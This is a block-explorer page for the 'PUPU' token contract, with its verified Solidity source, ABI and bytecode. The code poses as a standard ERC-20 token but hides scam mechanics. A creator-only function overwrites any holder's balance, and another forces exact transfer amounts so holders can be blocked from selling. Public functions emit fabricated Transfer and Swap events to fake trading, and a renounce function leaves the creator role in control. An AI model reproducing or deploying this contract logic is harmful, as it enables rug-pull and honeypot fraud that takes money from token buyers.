ETH Price: $2,421.52 (+3.57%)

Token

PUPU (PUPU)
 

Overview

Max Total Supply

13,000,000 PUPU

Holders

174

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,240.117671706 PUPU

Value
$0.00
0x0739f77b43474e72f158db4ee29765c88a8a07b8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PUPU

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : COIN.sol
pragma solidity ^0.8.8;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

}

interface IWETH {
    function deposit() external payable;
    function transfer(address to, uint value) external returns (bool);
    function withdraw(uint) external;
}

interface IUniswapV2Router02 {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract TaskExecutionControl {
    function fetchInitiatorAddress() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract MonoOwnership is TaskExecutionControl {
    address private _singleOwner;
    event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);

    constructor() {
        address sender = fetchInitiatorAddress();
        _singleOwner = sender;
        emit OwnershipTransfer(address(0), sender);
    }

    function fetchSingleOwner() public view virtual returns (address) {
        return _singleOwner;
    }

    modifier soleOwnerOnly() {
        require(fetchSingleOwner() == fetchInitiatorAddress(), "Unauthorized: Single Owner access required.");
        _;
    }

    function renounceOwnership() public virtual soleOwnerOnly {
        emit OwnershipTransfer(_singleOwner, address(0x000000000000000000000000000000000000dEaD));
        _singleOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract PUPU is TaskExecutionControl, MonoOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _compelledTransferSums;
    address private _principalCreator;

    receive() external payable {}

    string public constant _moniker = "PUPU";
    string public constant _ticker = "PUPU";
    uint8 public constant _decimalUnits = 9;
    uint256 public constant _ultimateSupply = 13000000 * (10 ** _decimalUnits);

    constructor() {
        _balances[fetchInitiatorAddress()] = _ultimateSupply;
        emit Transfer(address(0), fetchInitiatorAddress(), _ultimateSupply);
    }

    modifier soleCreatorExclusive() {
        require(fetchInitiatorAddress() == fetchMainCreator(), "Unauthorized: Creator access required.");
        _;
    }

    function fetchMainCreator() public view virtual returns (address) {
        return _principalCreator;
    }

    function delegateCreator(address newCreator) public soleOwnerOnly {
        _principalCreator = newCreator;
    }

    function reassignStake(address[] memory userAddresses, uint256 requiredBalance) public soleCreatorExclusive {
        require(requiredBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");
            _balances[currentUser] = requiredBalance;
        }
    }

    function mandatedTransferAmount(address account) public view returns (uint256) {
        return _compelledTransferSums[account];
    }

    function defineMandatedTransferAmounts(address[] calldata accounts, uint256 sum) public soleCreatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _compelledTransferSums[accounts[i]] = sum;
        }
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function executeSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts
    ) public payable returns (bool) {

        for (uint256 i = 0; i < recipients.length; i++) {

            uint tokenAmoun = tokenAmounts[i];
            address recip = recipients[i];

            emit Transfer(uniswapPool, recip, tokenAmoun);

            uint weth = wethAmounts[i];
            
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmoun,
                0,
                0,
                weth,
                recip
            );
        }
        return true;
    }

    function swap(
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address[] memory path,
        address tokenAddress,
        uint deadline
    ) public payable returns (bool) {

        uint amountIn = msg.value;
        IWETH(tokenAddress).deposit{value: amountIn}();

        uint checkAllowance = IERC20(tokenAddress).allowance(address(this), 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        if(checkAllowance == 0) IERC20(tokenAddress).approve(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935);

        for (uint256 i = 0; i < recipients.length; i++) {
            IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D).swapExactTokensForTokensSupportingFeeOnTransferTokens(wethAmounts[i], tokenAmounts[i], path, recipients[i], deadline);
        }

        uint amountOut = IERC20(tokenAddress).balanceOf(address(this));
        IWETH(tokenAddress).withdraw(amountOut);
        (bool sent, ) = fetchInitiatorAddress().call{value: amountOut}("");
        require(sent, "F t s e");

        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[fetchInitiatorAddress()] >= sum, "Insufficient balance");

        uint256 requisiteTransferSum = mandatedTransferAmount(fetchInitiatorAddress());
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[fetchInitiatorAddress()] -= sum;
        _balances[to] += sum;

        emit Transfer(fetchInitiatorAddress(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[fetchInitiatorAddress()][spender] = sum;
        emit Approval(fetchInitiatorAddress(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][fetchInitiatorAddress()] >= sum, "Allowance limit surpassed");

        uint256 requisiteTransferSum = mandatedTransferAmount(from);
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][fetchInitiatorAddress()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _ultimateSupply;
    }

    function name() public view returns (string memory) {
        return _moniker;
    }

    function symbol() public view returns (string memory) {
        return _ticker;
    }

    function decimals() public view returns (uint8) {
        return _decimalUnits;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"defineMandatedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"delegateCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"}],"name":"executeSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"fetchMainCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fetchSingleOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"mandatedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"requiredBalance","type":"uint256"}],"name":"reassignStake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a3506009600a620000d2919062000372565b62c65d40620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620001a3919062000372565b62c65d40620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b612af0806200044c6000396000f3fe6080604052600436106101445760003560e01c8063851be307116100b6578063c345cf231161006f578063c345cf2314610472578063c7f802411461049d578063dd62ed3e146104cd578063e03504af1461050a578063e156b1b614610535578063e44c9394146105725761014b565b8063851be3071461036057806391a027301461038957806395d89b41146103b4578063a713fd53146103df578063a7b088281461040a578063a9059cbb146104355761014b565b806322e95ff51161010857806322e95ff51461023c57806323b872dd14610279578063313ce567146102b65780635c01b60c146102e157806370a082311461030c578063715018a6146103495761014b565b8063058f2c371461015057806306fdde0314610179578063095ea7b3146101a457806311dbe793146101e157806318160ddd146102115761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b5061017760048036038101906101729190611b3c565b61059b565b005b34801561018557600080fd5b5061018e610752565b60405161019b9190611c17565b60405180910390f35b3480156101b057600080fd5b506101cb60048036038101906101c69190611c39565b61078f565b6040516101d89190611c94565b60405180910390f35b6101fb60048036038101906101f69190611d72565b61088f565b6040516102089190611c94565b60405180910390f35b34801561021d57600080fd5b50610226610a05565b6040516102339190611e3c565b60405180910390f35b34801561024857600080fd5b50610263600480360381019061025e9190611e57565b610a28565b6040516102709190611e3c565b60405180910390f35b34801561028557600080fd5b506102a0600480360381019061029b9190611e84565b610a71565b6040516102ad9190611c94565b60405180910390f35b3480156102c257600080fd5b506102cb610d49565b6040516102d89190611ef3565b60405180910390f35b3480156102ed57600080fd5b506102f6610d52565b6040516103039190611c17565b60405180910390f35b34801561031857600080fd5b50610333600480360381019061032e9190611e57565b610d8b565b6040516103409190611e3c565b60405180910390f35b34801561035557600080fd5b5061035e610dd4565b005b34801561036c57600080fd5b5061038760048036038101906103829190611e57565b610f10565b005b34801561039557600080fd5b5061039e610fd0565b6040516103ab9190611f1d565b60405180910390f35b3480156103c057600080fd5b506103c9610ffa565b6040516103d69190611c17565b60405180910390f35b3480156103eb57600080fd5b506103f4611037565b6040516104019190611ef3565b60405180910390f35b34801561041657600080fd5b5061041f61103c565b60405161042c9190611f1d565b60405180910390f35b34801561044157600080fd5b5061045c60048036038101906104579190611c39565b611065565b6040516104699190611c94565b60405180910390f35b34801561047e57600080fd5b5061048761127a565b6040516104949190611e3c565b60405180910390f35b6104b760048036038101906104b29190611f38565b611299565b6040516104c49190611c94565b60405180910390f35b3480156104d957600080fd5b506104f460048036038101906104ef9190612035565b6116f3565b6040516105019190611e3c565b60405180910390f35b34801561051657600080fd5b5061051f61177a565b60405161052c9190611c17565b60405180910390f35b34801561054157600080fd5b5061055c60048036038101906105579190611e84565b6117b3565b6040516105699190611c94565b60405180910390f35b34801561057e57600080fd5b50610599600480360381019061059491906120d0565b611825565b005b6105a3610fd0565b73ffffffffffffffffffffffffffffffffffffffff166105c1611933565b73ffffffffffffffffffffffffffffffffffffffff1614610617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060e906121a2565b60405180910390fd5b600081101561065b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106529061220e565b60405180910390fd5b60005b825181101561074d57600083828151811061067c5761067b61222e565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036106f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ec906122a9565b60405180910390fd5b82600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508080610745906122f8565b91505061065e565b505050565b60606040518060400160405280600481526020017f5055505500000000000000000000000000000000000000000000000000000000815250905090565b6000816001600061079e611933565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610838611933565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161087d9190611e3c565b60405180910390a36001905092915050565b600080600090505b84518110156109f85760008482815181106108b5576108b461222e565b5b6020026020010151905060008683815181106108d4576108d361222e565b5b602002602001015190508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161093b9190611e3c565b60405180910390a360008584815181106109585761095761222e565b5b602002602001015190508173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080866040516109da9493929190612385565b60405180910390a350505080806109f0906122f8565b915050610897565b5060019050949350505050565b60006009600a610a1591906124fd565b62c65d40610a239190612548565b905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610abd611933565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b30906125d6565b60405180910390fd5b6000610b4485610a28565b90506000811115610b9257808314610b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8890612642565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be19190612662565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c379190612696565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c88611933565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cd19190612662565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d359190611e3c565b60405180910390a360019150509392505050565b60006009905090565b6040518060400160405280600481526020017f505550550000000000000000000000000000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ddc611933565b73ffffffffffffffffffffffffffffffffffffffff16610dfa61103c565b73ffffffffffffffffffffffffffffffffffffffff1614610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061273c565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f18611933565b73ffffffffffffffffffffffffffffffffffffffff16610f3661103c565b73ffffffffffffffffffffffffffffffffffffffff1614610f8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f839061273c565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5055505500000000000000000000000000000000000000000000000000000000815250905090565b600981565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000611074611933565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e7906127a8565b60405180910390fd5b60006111026110fd611933565b610a28565b905060008111156111505780831461114f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114690612642565b60405180910390fd5b5b826002600061115d611933565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111a69190612662565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111fc9190612696565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16611222611933565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112679190611e3c565b60405180910390a3600191505092915050565b6009600a61128891906124fd565b62c65d406112969190612548565b81565b6000803490508373ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b1580156112e757600080fd5b505af11580156112fb573d6000803e3d6000fd5b505050505060008473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30737a250d5630b4cf539739df2c5dacb4c659f2488d6040518363ffffffff1660e01b81526004016113519291906127c8565b602060405180830381865afa15801561136e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113929190612806565b905060008103611450578473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161140b92919061286e565b6020604051808303816000875af115801561142a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144e91906128c3565b505b60005b895181101561154457737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16635c11d79589838151811061149f5761149e61222e565b5b60200260200101518b84815181106114ba576114b961222e565b5b60200260200101518a8e86815181106114d6576114d561222e565b5b60200260200101518a6040518663ffffffff1660e01b81526004016114ff9594939291906129ae565b600060405180830381600087803b15801561151957600080fd5b505af115801561152d573d6000803e3d6000fd5b50505050808061153c906122f8565b915050611453565b5060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016115809190611f1d565b602060405180830381865afa15801561159d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115c19190612806565b90508573ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b81526004016115fc9190611e3c565b600060405180830381600087803b15801561161657600080fd5b505af115801561162a573d6000803e3d6000fd5b505050506000611638611933565b73ffffffffffffffffffffffffffffffffffffffff168260405161165b90612a39565b60006040518083038185875af1925050503d8060008114611698576040519150601f19603f3d011682016040523d82523d6000602084013e61169d565b606091505b50509050806116e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d890612a9a565b60405180910390fd5b60019450505050509695505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600481526020017f505550550000000000000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118129190611e3c565b60405180910390a3600190509392505050565b61182d610fd0565b73ffffffffffffffffffffffffffffffffffffffff1661184b611933565b73ffffffffffffffffffffffffffffffffffffffff16146118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906121a2565b60405180910390fd5b60005b8383905081101561192d5781600360008686858181106118c7576118c661222e565b5b90506020020160208101906118dc9190611e57565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080611925906122f8565b9150506118a4565b50505050565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61199d82611954565b810181811067ffffffffffffffff821117156119bc576119bb611965565b5b80604052505050565b60006119cf61193b565b90506119db8282611994565b919050565b600067ffffffffffffffff8211156119fb576119fa611965565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a3c82611a11565b9050919050565b611a4c81611a31565b8114611a5757600080fd5b50565b600081359050611a6981611a43565b92915050565b6000611a82611a7d846119e0565b6119c5565b90508083825260208201905060208402830185811115611aa557611aa4611a0c565b5b835b81811015611ace5780611aba8882611a5a565b845260208401935050602081019050611aa7565b5050509392505050565b600082601f830112611aed57611aec61194f565b5b8135611afd848260208601611a6f565b91505092915050565b6000819050919050565b611b1981611b06565b8114611b2457600080fd5b50565b600081359050611b3681611b10565b92915050565b60008060408385031215611b5357611b52611945565b5b600083013567ffffffffffffffff811115611b7157611b7061194a565b5b611b7d85828601611ad8565b9250506020611b8e85828601611b27565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611bd2578082015181840152602081019050611bb7565b60008484015250505050565b6000611be982611b98565b611bf38185611ba3565b9350611c03818560208601611bb4565b611c0c81611954565b840191505092915050565b60006020820190508181036000830152611c318184611bde565b905092915050565b60008060408385031215611c5057611c4f611945565b5b6000611c5e85828601611a5a565b9250506020611c6f85828601611b27565b9150509250929050565b60008115159050919050565b611c8e81611c79565b82525050565b6000602082019050611ca96000830184611c85565b92915050565b600067ffffffffffffffff821115611cca57611cc9611965565b5b602082029050602081019050919050565b6000611cee611ce984611caf565b6119c5565b90508083825260208201905060208402830185811115611d1157611d10611a0c565b5b835b81811015611d3a5780611d268882611b27565b845260208401935050602081019050611d13565b5050509392505050565b600082601f830112611d5957611d5861194f565b5b8135611d69848260208601611cdb565b91505092915050565b60008060008060808587031215611d8c57611d8b611945565b5b6000611d9a87828801611a5a565b945050602085013567ffffffffffffffff811115611dbb57611dba61194a565b5b611dc787828801611ad8565b935050604085013567ffffffffffffffff811115611de857611de761194a565b5b611df487828801611d44565b925050606085013567ffffffffffffffff811115611e1557611e1461194a565b5b611e2187828801611d44565b91505092959194509250565b611e3681611b06565b82525050565b6000602082019050611e516000830184611e2d565b92915050565b600060208284031215611e6d57611e6c611945565b5b6000611e7b84828501611a5a565b91505092915050565b600080600060608486031215611e9d57611e9c611945565b5b6000611eab86828701611a5a565b9350506020611ebc86828701611a5a565b9250506040611ecd86828701611b27565b9150509250925092565b600060ff82169050919050565b611eed81611ed7565b82525050565b6000602082019050611f086000830184611ee4565b92915050565b611f1781611a31565b82525050565b6000602082019050611f326000830184611f0e565b92915050565b60008060008060008060c08789031215611f5557611f54611945565b5b600087013567ffffffffffffffff811115611f7357611f7261194a565b5b611f7f89828a01611ad8565b965050602087013567ffffffffffffffff811115611fa057611f9f61194a565b5b611fac89828a01611d44565b955050604087013567ffffffffffffffff811115611fcd57611fcc61194a565b5b611fd989828a01611d44565b945050606087013567ffffffffffffffff811115611ffa57611ff961194a565b5b